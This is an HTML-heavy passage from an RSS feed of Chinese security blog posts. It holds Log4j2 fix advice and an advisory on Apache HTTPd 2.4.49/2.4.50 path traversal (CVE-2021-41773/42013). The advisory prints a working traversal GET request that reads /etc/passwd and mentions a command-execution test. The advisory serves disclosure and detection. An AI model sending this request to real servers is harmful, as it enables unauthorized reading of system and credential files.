255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;display: inline-block;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;color: rgb(254, 254, 254);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">修复建议</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;color: rgb(53, 53, 53);font-size: 14px;text-align: start;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);font-family: DengXian;color: rgb(0, 0, 0);"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">1、升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本，地址 <a href="https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2" target="_blank">https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2</a></span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;"> </span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 17px;">2、升级已知受影响的应用及组件，如srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid</span></p><p><br/></p><p><br/></p>



<p><a href="2247484130">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1fbe96ca&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484130%26idx%3D1%26sn%3Dd1480f76a8bcba32bb83aae36927451f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 11 Dec 2021 10:34:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache 2.4.49 (CVE-2021-41773) 、 2.4.50 (CVE-2021-42013) 检测工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484102&amp;idx=1&amp;sn=9f447d49332558770c53d91f4da4215b</link>
      <description>漏洞描述Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Ap</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-10-09 14:01</span> <span style="display: inline-block;"></span>
</p>

<p>漏洞描述Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Ap</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3385f6fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xcCYHbb56Qf0JW26gOEXCcmpMjdk6V2X8tpRaoic4BcD15z4CsaB6iakg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;"><span style="color:#595959;"><strong>漏洞描述</strong></span></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;text-indent: 28px;">Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新，披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善，攻击者可构造恶意请求绕过补丁，利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持，攻击者可构造恶意请求执行命令，控制服务器。<br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">影响版本</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">Apache HTTPd 2.4.49/2.4.50版本</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">验证过程</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">Apache HTTPd 2.4.49 任意文件读取漏洞验证：</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5264423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=016f1031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xC2tzBpJe80FZA7jlMVnPVQQZAksPibCBG7RXmics35JAbHtia3vRRcD5w%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">GET数据包：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">GET</span> /cgi-bin/.<span class="code-snippet__number">%2</span>e/<span class="code-snippet__number">%2</span>e<span class="code-snippet__number">%2</span>e/<span class="code-snippet__number">%2</span>e<span class="code-snippet__number">%2</span>e/<span class="code-snippet__number">%2</span>e<span class="code-snippet__number">%2</span>e/etc/passwd HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: host</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content</span>-Length: 2</span></code></pre></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">Apache HTTPd 2.4.49 命令执行测试，未能成功回显命令，回显了bash报错信息。</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.49038461538461536" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d39e2247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xEtsDfZicQk6SqlWzxyugZLyPwdJ4qyvGnyaFdwU13Bm1jKO2BDf5X9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 